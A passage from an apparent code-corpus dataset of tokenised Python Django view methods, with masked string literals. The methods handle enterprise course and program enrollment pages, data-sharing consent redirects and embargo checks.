ImproperlyConfigured:<EOL><INDENT>LOGGER.warning('<STR_LIT>')<EOL>messages.add_generic_info_message_for_error(request)<EOL>return enterprise_customer, course, course_run, course_modes<EOL><DEDENT><DEDENT>if not course or not course_run:<EOL><INDENT>course_id = course['<STR_LIT:key>'] if course else \"<STR_LIT>\"<EOL>course_title = course['<STR_LIT:title>'] if course else \"<STR_LIT>\"<EOL>course_run_title = course_run['<STR_LIT:title>'] if course_run else \"<STR_LIT>\"<EOL>enterprise_catalog_title = enterprise_catalog.title if enterprise_catalog else \"<STR_LIT>\"<EOL>LOGGER.warning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>course_title=course_title,<EOL>course_id=course_id,<EOL>course_run_title=course_run_title,<EOL>course_run_id=course_run_id,<EOL>enterprise_name=enterprise_customer.name,<EOL>enterprise_uuid=enterprise_customer.uuid,<EOL>enterprise_catalog_title=enterprise_catalog_title,<EOL>enterprise_catalog_uuid=enterprise_catalog_uuid,<EOL>)<EOL>)<EOL>messages.add_generic_info_message_for_error(request)<EOL>return enterprise_customer, course, course_run, course_modes<EOL><DEDENT>if enterprise_catalog_uuid and not enterprise_catalog:<EOL><INDENT>return enterprise_customer, course, course_run, course_modes<EOL><DEDENT>modes = self.get_available_course_modes(request, course_run_id, enterprise_catalog)<EOL>audit_modes = getattr(<EOL>settings,<EOL>'<STR_LIT>',<EOL>['<STR_LIT>', '<STR_LIT>']<EOL>)<EOL>for mode in modes:<EOL><INDENT>if mode['<STR_LIT>']:<EOL><INDENT>price_text = get_price_text(mode['<STR_LIT>'], request)<EOL><DEDENT>else:<EOL><INDENT>price_text = _('<STR_LIT>')<EOL><DEDENT>if mode['<STR_LIT>'] in audit_modes:<EOL><INDENT>description = _('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>description = _('<STR_LIT>')<EOL><DEDENT>course_modes.append({<EOL>'<STR_LIT>': mode['<STR_LIT>'],<EOL>'<STR_LIT>': mode['<STR_LIT>'],<EOL>'<STR_LIT>': mode['<STR_LIT>'],<EOL>'<STR_LIT:title>': mode['<STR_LIT:name>'],<EOL>'<STR_LIT>': price_text,<EOL>'<STR_LIT>': price_text,<EOL>'<STR_LIT:description>': description,<EOL>'<STR_LIT>': mode['<STR_LIT>'] not in audit_modes<EOL>})<EOL><DEDENT>return enterprise_customer, course, course_run, course_modes<EOL>", "docstring": "Retrieve fundamental details used by both POST and GET versions of this view.\n\nSpecifically, take an EnterpriseCustomer UUID and a course run ID, and transform those\ninto an actual EnterpriseCustomer, a set of details about the course, and a list\nof the available course modes for that course run.", "id": "f16059:c3:m2"}
{"signature": "def get_enterprise_course_enrollment_page(<EOL>self,<EOL>request,<EOL>enterprise_customer,<EOL>course,<EOL>course_run,<EOL>course_modes,<EOL>enterprise_course_enrollment,<EOL>data_sharing_consent<EOL>):", "body": "context_data = get_global_context(request, enterprise_customer)<EOL>enterprise_catalog_uuid = request.GET.get(<EOL>'<STR_LIT>'<EOL>) if request.method == '<STR_LIT:GET>' else None<EOL>html_template_for_rendering = ENTERPRISE_GENERAL_ERROR_PAGE<EOL>if course and course_run:<EOL><INDENT>course_enrollable = True<EOL>course_start_date = '<STR_LIT>'<EOL>course_in_future = False<EOL>organization_name = '<STR_LIT>'<EOL>organization_logo = '<STR_LIT>'<EOL>expected_learning_items = course['<STR_LIT>']<EOL>if course['<STR_LIT>']:<EOL><INDENT>organization = course['<STR_LIT>'][<NUM_LIT:0>]<EOL>organization_name = organization['<STR_LIT:name>']<EOL>organization_logo = organization['<STR_LIT>']<EOL><DEDENT>course_title = course_run['<STR_LIT:title>']<EOL>course_short_description = course_run['<STR_LIT>'] or '<STR_LIT>'<EOL>course_full_description = clean_html_for_template_rendering(course_run['<STR_LIT>'] or '<STR_LIT>')<EOL>course_pacing = self.PACING_FORMAT.get(course_run['<STR_LIT>'], '<STR_LIT>')<EOL>if course_run['<STR_LIT:start>']:<EOL><INDENT>course_start_date = parse(course_run['<STR_LIT:start>']).strftime('<STR_LIT>')<EOL>now = datetime.datetime.now(pytz.UTC)<EOL>course_in_future = parse(course_run['<STR_LIT:start>']) > now<EOL><DEDENT>course_level_type = course_run.get('<STR_LIT>', '<STR_LIT>')<EOL>staff = course_run['<STR_LIT>']<EOL>course_effort = ungettext_min_max(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>course_run['<STR_LIT>'] or None,<EOL>course_run['<STR_LIT>'] or None,<EOL>) or '<STR_LIT>'<EOL>course_run_image = course_run['<STR_LIT:image>'] or {}<EOL>course_image_uri = course_run_image.get('<STR_LIT:src>', '<STR_LIT>')<EOL>course_modes = self.set_final_prices(course_modes, request)<EOL>premium_modes = [mode for mode in course_modes if mode['<STR_LIT>']]<EOL>course_modes = filter_audit_course_modes(enterprise_customer, course_modes)<EOL>cohort = request.GET.get('<STR_LIT>')<EOL>if enterprise_course_enrollment and not data_sharing_consent.granted:<EOL><INDENT>messages.add_consent_declined_message(request, enterprise_customer, course_run.get('<STR_LIT:title>', '<STR_LIT>'))<EOL><DEDENT>if not is_course_run_enrollable(course_run):<EOL><INDENT>messages.add_unenrollable_item_message(request, '<STR_LIT>')<EOL>course_enrollable = False<EOL><DEDENT>context_data.update({<EOL>'<STR_LIT>': course_enrollable,<EOL>'<STR_LIT>': course_title,<EOL>'<STR_LIT>': course_short_description,<EOL>'<STR_LIT>': course_pacing,<EOL>'<STR_LIT>': course_start_date,<EOL>'<STR_LIT>': course_in_future,<EOL>'<STR_LIT>': course_image_uri,<EOL>'<STR_LIT>': course_modes,<EOL>'<STR_LIT>': course_effort,<EOL>'<STR_LIT>': course_full_description,<EOL>'<STR_LIT>': cohort,<EOL>'<STR_LIT>': organization_logo,<EOL>'<STR_LIT>': organization_name,<EOL>'<STR_LIT>': course_level_type,<EOL>'<STR_LIT>': premium_modes,<EOL>'<STR_LIT>': expected_learning_items,<EOL>'<STR_LIT>': enterprise_catalog_uuid,<EOL>'<STR_LIT>': staff,<EOL>'<STR_LIT>': _('<STR_LIT>').format(<EOL>enterprise_customer_name=enterprise_customer.name,<EOL>strong_start='<STR_LIT>',<EOL>strong_end='<STR_LIT>',<EOL>),<EOL>'<STR_LIT>': enterprise_customer.hide_course_original_price<EOL>})<EOL>html_template_for_rendering = '<STR_LIT>'<EOL><DEDENT>context_data.update({<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _(\"<STR_LIT>\"),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>})<EOL>return render(request, html_template_for_rendering, context=context_data)<EOL>", "docstring": "Render enterprise-specific course track selection page.", "id": "f16059:c3:m3"}
{"signature": "@method_decorator(enterprise_login_required)<EOL><INDENT>def post(self, request, enterprise_uuid, course_id):<DEDENT>", "body": "enterprise_customer, course, course_run, course_modes = self.get_base_details(<EOL>request, enterprise_uuid, course_id<EOL>)<EOL>enterprise_customer_user, __ = EnterpriseCustomerUser.objects.get_or_create(<EOL>enterprise_customer=enterprise_customer,<EOL>user_id=request.user.id<EOL>)<EOL>enterprise_customer_user.update_session(request)<EOL>data_sharing_consent = DataSharingConsent.objects.proxied_get(<EOL>username=enterprise_customer_user.username,<EOL>course_id=course_id,<EOL>enterprise_customer=enterprise_customer<EOL>)<EOL>try:<EOL><INDENT>enterprise_course_enrollment = EnterpriseCourseEnrollment.objects.get(<EOL>enterprise_customer_user__enterprise_customer=enterprise_customer,<EOL>enterprise_customer_user__user_id=request.user.id,<EOL>course_id=course_id<EOL>)<EOL><DEDENT>except EnterpriseCourseEnrollment.DoesNotExist:<EOL><INDENT>enterprise_course_enrollment = None<EOL><DEDENT>enterprise_catalog_uuid = request.POST.get('<STR_LIT>')<EOL>selected_course_mode_name = request.POST.get('<STR_LIT>')<EOL>cohort_name = request.POST.get('<STR_LIT>')<EOL>selected_course_mode = None<EOL>for course_mode in course_modes:<EOL><INDENT>if course_mode['<STR_LIT>'] == selected_course_mode_name:<EOL><INDENT>selected_course_mode = course_mode<EOL>break<EOL><DEDENT><DEDENT>if not selected_course_mode:<EOL><INDENT>return self.get_enterprise_course_enrollment_page(<EOL>request,<EOL>enterprise_customer,<EOL>course,<EOL>course_run,<EOL>course_modes,<EOL>enterprise_course_enrollment,<EOL>data_sharing_consent<EOL>)<EOL><DEDENT>user_consent_needed = get_data_sharing_consent(<EOL>enterprise_customer_user.username,<EOL>enterprise_customer.uuid,<EOL>course_id=course_id<EOL>).consent_required()<EOL>if not selected_course_mode.get('<STR_LIT>') and not user_consent_needed:<EOL><INDENT>if not enterprise_course_enrollment:<EOL><INDENT>enterprise_course_enrollment = EnterpriseCourseEnrollment.objects.create(<EOL>enterprise_customer_user=enterprise_customer_user,<EOL>course_id=course_id,<EOL>)<EOL>track_enrollment('<STR_LIT>', request.user.id, course_id, request.get_full_path())<EOL><DEDENT>client = EnrollmentApiClient()<EOL>client.enroll_user_in_course(<EOL>request.user.username,<EOL>course_id,<EOL>selected_course_mode_name,<EOL>cohort=cohort_name<EOL>)<EOL>return redirect(LMS_COURSEWARE_URL.format(course_id=course_id))<EOL><DEDENT>if user_consent_needed:<EOL><INDENT>query_string_params = {<EOL>'<STR_LIT>': selected_course_mode_name,<EOL>}<EOL>if enterprise_catalog_uuid:<EOL><INDENT>query_string_params.update({'<STR_LIT>': enterprise_catalog_uuid})<EOL><DEDENT>next_url = '<STR_LIT>'.format(<EOL>handle_consent_enrollment_url=reverse(<EOL>'<STR_LIT>', args=[enterprise_customer.uuid, course_id]<EOL>),<EOL>query_string=urlencode(query_string_params)<EOL>)<EOL>failure_url = reverse('<STR_LIT>', args=[enterprise_customer.uuid, course_id])<EOL>if request.META['<STR_LIT>']:<EOL><INDENT>failure_url = '<STR_LIT>'.format(<EOL>course_enrollment_url=reverse(<EOL>'<STR_LIT>', args=[enterprise_customer.uuid, course_id]<EOL>),<EOL>query_string=request.META['<STR_LIT>']<EOL>)<EOL><DEDENT>return redirect(<EOL>'<STR_LIT>'.format(<EOL>grant_data_sharing_url=reverse('<STR_LIT>'),<EOL>params=urlencode(<EOL>{<EOL>'<STR_LIT>': next_url,<EOL>'<STR_LIT>': failure_url,<EOL>'<STR_LIT>': enterprise_customer.uuid,<EOL>'<STR_LIT>': course_id,<EOL>}<EOL>)<EOL>)<EOL>)<EOL><DEDENT>premium_flow = LMS_START_PREMIUM_COURSE_FLOW_URL.format(course_id=course_id)<EOL>if enterprise_catalog_uuid:<EOL><INDENT>premium_flow += '<STR_LIT>'.format(<EOL>catalog_uuid=enterprise_catalog_uuid<EOL>)<EOL><DEDENT>return redirect(premium_flow)<EOL>", "docstring": "Process a submitted track selection form for the enterprise.", "id": "f16059:c3:m4"}
{"signature": "@method_decorator(enterprise_login_required)<EOL><INDENT>@method_decorator(force_fresh_session)<EOL>def get(self, request, enterprise_uuid, course_id):<DEDENT>", "body": "<EOL>embargo_url = EmbargoApiClient.redirect_if_blocked([course_id], request.user, get_ip(request), request.path)<EOL>if embargo_url:<EOL><INDENT>return redirect(embargo_url)<EOL><DEDENT>enterprise_customer, course, course_run, modes = self.get_base_details(<EOL>request, enterprise_uuid, course_id<EOL>)<EOL>enterprise_customer_user = get_enterprise_customer_user(request.user.id, enterprise_uuid)<EOL>data_sharing_consent = DataSharingConsent.objects.proxied_get(<EOL>username=enterprise_customer_user.username,<EOL>course_id=course_id,<EOL>enterprise_customer=enterprise_customer<EOL>)<EOL>enrollment_client = EnrollmentApiClient()<EOL>enrolled_course = enrollment_client.get_course_enrollment(request.user.username, course_id)<EOL>try:<EOL><INDENT>enterprise_course_enrollment = EnterpriseCourseEnrollment.objects.get(<EOL>enterprise_customer_user__enterprise_customer=enterprise_customer,<EOL>enterprise_customer_user__user_id=request.user.id,<EOL>course_id=course_id<EOL>)<EOL><DEDENT>except EnterpriseCourseEnrollment.DoesNotExist:<EOL><INDENT>enterprise_course_enrollment = None<EOL><DEDENT>if enrolled_course and enterprise_course_enrollment:<EOL><INDENT>return redirect(LMS_COURSEWARE_URL.format(course_id=course_id))<EOL><DEDENT>return self.get_enterprise_course_enrollment_page(<EOL>request,<EOL>enterprise_customer,<EOL>course,<EOL>course_run,<EOL>modes,<EOL>enterprise_course_enrollment,<EOL>data_sharing_consent,<EOL>)<EOL>", "docstring": "Show course track selection page for the enterprise.\n\nBased on `enterprise_uuid` in URL, the view will decide which\nenterprise customer's course enrollment page is to use.\n\nUnauthenticated learners will be redirected to enterprise-linked SSO.\n\nA 404 will be raised if any of the following conditions are met:\n    * No enterprise customer uuid kwarg `enterprise_uuid` in request.\n    * No enterprise customer found against the enterprise customer\n        uuid `enterprise_uuid` in the request kwargs.\n    * No course is found in database against the provided `course_id`.", "id": "f16059:c3:m5"}
{"signature": "@staticmethod<EOL><INDENT>def extend_course(course, enterprise_customer, request):<DEDENT>", "body": "course_run_id = course['<STR_LIT>'][<NUM_LIT:0>]['<STR_LIT:key>']<EOL>try:<EOL><INDENT>catalog_api_client = CourseCatalogApiServiceClient(enterprise_customer.site)<EOL><DEDENT>except ImproperlyConfigured:<EOL><INDENT>error_code = '<STR_LIT>'<EOL>LOGGER.error(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>error_code=error_code,<EOL>userid=request.user.id,<EOL>enterprise_customer=enterprise_customer.uuid,<EOL>course_run_id=course_run_id,<EOL>)<EOL>)<EOL>messages.add_generic_error_message_with_code(request, error_code)<EOL>return ({}, error_code)<EOL><DEDENT>course_details, course_run_details = catalog_api_client.get_course_and_course_run(course_run_id)<EOL>if not course_details or not course_run_details:<EOL><INDENT>error_code = '<STR_LIT>'<EOL>LOGGER.error(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>userid=request.user.id,<EOL>enterprise_customer=enterprise_customer.uuid,<EOL>course_run_id=course_run_id,<EOL>error_code=error_code,<EOL>)<EOL>)<EOL>messages.add_generic_error_message_with_code(request, error_code)<EOL>return ({}, error_code)<EOL><DEDENT>weeks_to_complete = course_run_details['<STR_LIT>']<EOL>course_run_image = course_run_details['<STR_LIT:image>'] or {}<EOL>course.update({<EOL>'<STR_LIT>': course_run_image.get('<STR_LIT:src>', '<STR_LIT>'),<EOL>'<STR_LIT>': course_run_details['<STR_LIT:title>'],<EOL>'<STR_LIT>': course_run_details.get('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': course_run_details['<STR_LIT>'] or '<STR_LIT>',<EOL>'<STR_LIT>': clean_html_for_template_rendering(course_run_details['<STR_LIT>'] or '<STR_LIT>'),<EOL>'<STR_LIT>': course_details.get('<STR_LIT>', []),<EOL>'<STR_LIT>': course_run_details.get('<STR_LIT>', []),<EOL>'<STR_LIT>': ungettext_min_max(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>course_run_details['<STR_LIT>'] or None,<EOL>course_run_details['<STR_LIT>'] or None,<EOL>) or '<STR_LIT>',<EOL>'<STR_LIT>': ungettext(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>weeks_to_complete<EOL>).format(weeks_to_complete) if weeks_to_complete else '<STR_LIT>',<EOL>})<EOL>return course, None<EOL>", "docstring": "Extend a course with more details needed for the program landing page.\n\nIn particular, we add the following:\n\n* `course_image_uri`\n* `course_title`\n* `course_level_type`\n* `course_short_description`\n* `course_full_description`\n* `course_effort`\n* `expected_learning_items`\n* `staff`", "id": "f16059:c4:m0"}
{"signature": "def get_program_details(self, request, program_uuid, enterprise_customer):", "body": "try:<EOL><INDENT>course_catalog_api_client = CourseCatalogApiServiceClient(enterprise_customer.site)<EOL><DEDENT>except ImproperlyConfigured:<EOL><INDENT>error_code = '<STR_LIT>'<EOL>LOGGER.error(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>error_code=error_code,<EOL>userid=request.user.id,<EOL>enterprise_customer=enterprise_customer.uuid,<EOL>program_uuid=program_uuid,<EOL>)<EOL>)<EOL>messages.add_generic_error_message_with_code(request, error_code)<EOL>return ({}, error_code)<EOL><DEDENT>program_details = course_catalog_api_client.get_program_by_uuid(program_uuid)<EOL>if program_details is None:<EOL><INDENT>error_code = '<STR_LIT>'<EOL>LOGGER.error(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>userid=request.user.id,<EOL>enterprise_customer=enterprise_customer.uuid,<EOL>program_uuid=program_uuid,<EOL>error_code=error_code,<EOL>)<EOL>)<EOL>messages.add_generic_error_message_with_code(request, error_code)<EOL>return ({}, error_code)<EOL><DEDENT>program_type = course_catalog_api_client.get_program_type_by_slug(slugify(program_details['<STR_LIT:type>']))<EOL>if program_type is None:<EOL><INDENT>error_code = '<STR_LIT>'<EOL>LOGGER.error(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>userid=request.user.id,<EOL>enterprise_customer=enterprise_customer.uuid,<EOL>program_uuid=program_uuid,<EOL>error_code=error_code,<EOL>)<EOL>)<EOL>messages.add_generic_error_message_with_code(request, error_code)<EOL>return ({}, error_code)<EOL><DEDENT>program_details = ProgramDataExtender(program_details, request.user).extend()<EOL>program_details['<STR_LIT>'] = False<EOL>enrollment_count = <NUM_LIT:0><EOL>for extended_course in program_details['<STR_LIT>']:<EOL><INDENT>extended_data, error_code = ProgramEnrollmentView.extend_course(<EOL>extended_course,<EOL>enterprise_customer,<EOL>request<EOL>)<EOL>if error_code:<EOL><INDENT>return ({}, error_code)<EOL><DEDENT>extended_course.update(extended_data)<EOL>extended_course_run = extended_course['<STR_LIT>'][<NUM_LIT:0>]<EOL>if extended_course_run['<STR_LIT>'] and extended_course_run['<STR_LIT>'] is None:<EOL><INDENT>program_details['<STR_LIT>'] = True<EOL>enrollment_count += <NUM_LIT:1><EOL><DEDENT><DEDENT>program_details['<STR_LIT>'] = (enrollment_count == len(program_details['<STR_LIT>']))<EOL>program_details['<STR_LIT>'] = program_type<EOL>return program_details, None<EOL>", "docstring": "Retrieve fundamental details used by both POST and GET versions of this view.\n\nSpecifically:\n\n* Take the program UUID and get specific details about the program.\n* Determine whether the learner is enrolled in the program.\n* Determine whether the learner is certificate eligible for the program.", "id": "f16059:c4:m1"}
{"signature": "def get_enterprise_program_enrollment_page(self, request, enterprise_customer, program_details):", "body": "<EOL>organizations = program_details['<STR_LIT>']<EOL>organization = organizations[<NUM_LIT:0>] if organizations else {}<EOL>platform_name = get_configuration_value('<STR_LIT>', settings.PLATFORM_NAME)<EOL>program_title = program_details['<STR_LIT:title>']<EOL>program_type_details = program_details['<STR_LIT>']<EOL>program_type = program_type_details['<STR_LIT:name>']<EOL>program_courses = program_details['<STR_LIT>']<EOL>course_count = len(program_courses)<EOL>course_count_text = ungettext(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>course_count,<EOL>).format(count=course_count)<EOL>effort_info_text = ungettext_min_max(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>_('<STR_LIT>'),<EOL>program_details.get('<STR_LIT>'),<EOL>program_details.get('<STR_LIT>'),<EOL>)<EOL>length_info_text = ungettext_min_max(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>_('<STR_LIT>'),<EOL>program_details.get('<STR_LIT>'),<EOL>program_details.get('<STR_LIT>'),<EOL>)<EOL>if program_details['<STR_LIT>']:<EOL><INDENT>purchase_action = _('<STR_LIT>')<EOL>item = _('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>purchase_action = _('<STR_LIT>')<EOL>item = _('<STR_LIT>')<EOL><DEDENT>program_data_sharing_consent = get_data_sharing_consent(<EOL>request.user.username,<EOL>enterprise_customer.uuid,<EOL>program_uuid=program_details['<STR_LIT>'],<EOL>)<EOL>if program_data_sharing_consent.exists and not program_data_sharing_consent.granted:<EOL><INDENT>messages.add_consent_declined_message(request, enterprise_customer, program_title)<EOL><DEDENT>discount_data = program_details.get('<STR_LIT>', {})<EOL>one_click_purchase_eligibility = program_details.get('<STR_LIT>', False)<EOL>if not one_click_purchase_eligibility:<EOL><INDENT>messages.add_unenrollable_item_message(request, '<STR_LIT>')<EOL><DEDENT>elif discount_data.get('<STR_LIT>') is None:<EOL><INDENT>messages.add_missing_price_information_message(request, program_title)<EOL><DEDENT>context_data = get_global_context(request, enterprise_customer)<EOL>context_data.update({<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _(\"<STR_LIT>\"),<EOL>'<STR_LIT>': <NUM_LIT:2>,<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': <NUM_LIT:1>,<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>').format(<EOL>platform_name=platform_name,<EOL>program_type=program_type,<EOL>),<EOL>'<STR_LIT>': _('<STR_LIT>').format(<EOL>platform_name=platform_name<EOL>),<EOL>'<STR_LIT>': organization.get('<STR_LIT:name>'),<EOL>'<STR_LIT>': organization.get('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>').format(organization=organization.get('<STR_LIT:name>')),<EOL>'<STR_LIT>': _('<STR_LIT>').format(item=item),<EOL>'<STR_LIT>': program_type_details['<STR_LIT>'].get('<STR_LIT>', {}).get('<STR_LIT:url>', '<STR_LIT>'),<EOL>'<STR_LIT>': program_type,<EOL>'<STR_LIT>': get_program_type_description(program_type),<EOL>'<STR_LIT>': program_title,<EOL>'<STR_LIT>': program_details['<STR_LIT>'],<EOL>'<STR_LIT>': program_details['<STR_LIT>'],<EOL>'<STR_LIT>': get_price_text(discount_data.get('<STR_LIT>', <NUM_LIT:0>), request),<EOL>'<STR_LIT>': get_price_text(discount_data.get('<STR_LIT>', <NUM_LIT:0>), request),<EOL>'<STR_LIT>': discount_data.get('<STR_LIT>', False),<EOL>'<STR_LIT>': program_courses,<EOL>'<STR_LIT>': [<EOL>_('<STR_LIT>'),<EOL>_('<STR_LIT>'),<EOL>],<EOL>'<STR_LIT>': _('<STR_LIT>').format(purchase_action=purchase_action),<EOL>'<STR_LIT>': program_details['<STR_LIT>'],<EOL>'<STR_LIT>': program_details['<STR_LIT>'],<EOL>'<STR_LIT>': course_count_text,<EOL>'<STR_LIT>': length_info_text,<EOL>'<STR_LIT>': effort_info_text,<EOL>'<STR_LIT>': one_click_purchase_eligibility,<EOL>})<EOL>return render(request, '<STR_LIT>', context=context_data)<EOL>", "docstring": "Render Enterprise-specific program enrollment page.", "id": "f16059:c4:m2"}
{"signature": "@method_decorator(enterprise_login_required)<EOL><INDENT>@method_decorator(force_fresh_session)<EOL>def get(self, request, enterprise_uuid, program_uuid):<DEDENT>", "body": "verify_edx_resources()<EOL>enterprise_customer = get_enterprise_customer_or_404(enterprise_uuid)<EOL>context_data = get_global_context(request, enterprise_customer)<EOL>program_details, error_code = self.get_program_details(request, program_uuid, enterprise_customer)<EOL>if error_code:<EOL><INDENT>return render(<EOL>request,<EOL>ENTERPRISE_GENERAL_ERROR_PAGE,<EOL>context=context_data,<EOL>status=<NUM_LIT>,<EOL>)<EOL><DEDENT>if program_details['<STR_LIT>']:<EOL><INDENT>return redirect(LMS_PROGRAMS_DASHBOARD_URL.format(uuid=program_uuid))<EOL><DEDENT>course_run_ids = []<EOL>for course in program_details['<STR_LIT>']:<EOL><INDENT>for course_run in course['<STR_LIT>']:<EOL><INDENT>course_run_ids.append(course_run['<STR_LIT:key>'])<EOL><DEDENT><DEDENT>embargo_url = EmbargoApiClient.redirect_if_blocked(course_run_ids, request.user, get_ip(request), request.path)<EOL>if embargo_url:<EOL><INDENT>return redirect(embargo_url)<EOL><DEDENT>return self.get_enterprise_program_enrollment_page(request, enterprise_customer, program_details)<EOL>", "docstring": "Show Program Landing page for the Enterprise's Program.\n\nRender the Enterprise's Program Enrollment page for a specific program.\nThe Enterprise and Program are both selected by their respective UUIDs.\n\nUnauthenticated learners will be redirected to enterprise-linked SSO.\n\nA 404 will be raised if any of the following conditions are met:\n    * No enterprise customer UUID query parameter ``enterprise_uuid`` found in request.\n    * No enterprise customer found against the enterprise customer\n        uuid ``enterprise_uuid`` in the request kwargs.\n    * No Program can be found given ``program_uuid`` either at all or associated with\n        the Enterprise..", "id": "f16059:c4:m3"}
{"signature": "@method_decorator(enterprise_login_required)<EOL><INDENT>def post(self, request, enterprise_uuid, program_uuid):<DEDENT>", "body": "verify_edx_resources()<EOL>enterprise_customer = get_enterprise_customer_or_404(enterprise_uuid)<EOL>with transaction.atomic():<EOL><INDENT>enterprise_customer_user, __ = EnterpriseCustomerUser.objects.get_or_create(<EOL>enterprise_customer=enterprise_customer,<EOL>user_id=request.user.id<EOL>)<EOL>enterprise_customer_user.update_session(request)<EOL><DEDENT>context_data = get_global_context(request, enterprise_customer)<EOL>program_details, error_code = self.get_program_details(request, program_uuid, enterprise_customer)<EOL>if error_code:<EOL><INDENT>return render(<EOL>request,<EOL>ENTERPRISE_GENERAL_ERROR_PAGE,<EOL>context=context_data,<EOL>status=<NUM_LIT>,<EOL>)<EOL><DEDENT>if program_details['<STR_LIT>']:<EOL><INDENT>return redirect(LMS_PROGRAMS_DASHBOARD_URL.format(uuid=program_uuid))<EOL><DEDENT>basket_page = '<STR_LIT>'.format(<EOL>basket_url=BASKET_URL,<EOL>params=urlencode(<EOL>[tuple(['<STR_LIT>', sku]) for sku in program_details['<STR_LIT>']] +<EOL>[tuple(['<STR_LIT>', program_uuid])]<EOL>)<EOL>)<EOL>if get_data_sharing_consent(<EOL>enterprise_customer_user.username,<EOL>enterprise_customer.uuid,<EOL>program_uuid=program_uuid,<EOL>).consent_required():<EOL><INDENT>return redirect(<EOL>'<STR_LIT>'.format(<EOL>grant_data_sharing_url=reverse('<STR_LIT>'),<EOL>params=urlencode(<EOL>{<EOL>'<STR_LIT>': basket_page,<EOL>'<STR_LIT>': reverse(<EOL>'<STR_LIT>',<EOL>args=[enterprise_customer.uuid, program_uuid]<EOL>),<EOL>'<STR_LIT>': enterprise_customer.uuid,<EOL>'<STR_LIT>': program_uuid,<EOL>}<EOL>)<EOL>)<EOL>)<EOL><DEDENT>return redirect(basket_page)<EOL>", "docstring": "Process a submitted track selection form for the enterprise.", "id": "f16059:c4:m4"}
{"signature": "@staticmethod<EOL><INDENT>def get_path_variables(**kwargs):<DEDENT>", "body": "enterprise_customer_uuid = kwargs.get('<STR_LIT>', '<STR_LIT>')<EOL>course_run_id = kwargs.get('<STR_LIT>', '<STR_LIT>')<EOL>course_key = kwargs.get('<STR_LIT>', '<STR_LIT>')<EOL>program_uuid = kwargs.get('<STR_LIT>', '<STR_LIT>')<EOL>return enterprise_customer_uuid, course_run_id, course_key, program_uuid<EOL>", "docstring": "Get the base variables for any view to route to.\n\nCurrently gets:\n- `enterprise_uuid` - the UUID of the enterprise customer.\n- `course_run_id` - the ID of the course, if applicable.\n- `program_uuid` - the UUID of the program, if applicable.", "id": "f16059:c5:m0"}
{"signature": "@staticmethod<EOL><INDENT>def get_course_run_id(user, enterprise_customer, course_key):<DEDENT>", "body": "try:<EOL><INDENT>course = CourseCatalogApiServiceClient(enterprise_customer.site).get_course_details(course_key)<EOL><DEDENT>except ImproperlyConfigured:<EOL><INDENT>raise Http404<EOL><DEDENT>users_all_enrolled_courses = EnrollmentApiClient().get_enrolled_courses(user.username)<EOL>users_active_course_runs = get_active_course_runs(<EOL>course,<EOL>users_all_enrolled_courses<EOL>) if users_all_enrolled_courses else []<EOL>course_run = get_current_course_run(course, users_active_course_runs)<EOL>if course_run:<EOL><INDENT>course_run_id = course_run['<STR_LIT:key>']<EOL>return course_run_id<EOL><DEDENT>else:<EOL><INDENT>raise Http404<EOL><DEDENT>", "docstring": "User is requesting a course, we need to translate that into the current course run.\n\n:param user:\n:param enterprise_customer:\n:param course_key:\n:return: course_run_id", "id": "f16059:c5:m1"}
